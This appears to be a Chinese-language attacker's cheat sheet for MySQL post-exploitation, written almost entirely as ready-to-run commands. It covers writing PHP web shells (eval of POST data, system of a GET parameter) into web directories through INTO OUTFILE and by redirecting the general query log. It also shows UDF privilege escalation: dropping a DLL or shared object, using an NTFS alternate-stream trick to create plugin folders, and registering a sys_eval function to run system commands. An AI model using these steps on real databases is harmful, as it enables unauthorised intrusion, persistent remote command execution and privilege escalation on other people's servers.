#2.创建数据库导出 CREATE TABLE `mysql`.`test` (`temp` TEXT NOTNULL ); INSERT INTO `mysql`.`test` (`temp` ) VALUES('<?php @eval($_POST[antian365]);?>'); SELECT `temp` FROM `test` INTO OUTFILE'D:/www/shell.php'; DROP TABLE IF EXISTS `test`;
#可执行命令方式 select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/shell.php' #Windows SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php'; #Linux
#general_log_file获取webshell show global variables like "%genera%"; #查看genera文件配置情况 set global general_log=off; #关闭general_log SET global general_log_file='D:/phpStudy/WWW/cmd.php'; #通过general_log选项来获取webshell set global general_log='on'; SELECT '<?php assert($_POST["cmd"]);?>';
UDF提权
UDF UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。 由于是用户自定义的函数,所以我们可以利用UDF创建一个执行命令的函数。
• 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下 • 如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录 • mysql < 5.0,导出路径随意 • 拥有可以将udf.dll写入相应目录的权限。
//默认情况下查看--secure-file-priv值: show global variables LIKE "secure_file_priv"; //查看plugin路径 show variables LIKE "plugin";
//在某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,网上大牛发现利用NTFS ADS流来创建文件夹的方法: select @@basedir; //查找到mysql的目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录
select unhex('UDF-code') into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/mysqludf3.so'; //导出UDF文件 create function sys_eval returns string soname 'mysqludf3.so'; //创建函数 select sys_eval('whoami'); //执行命令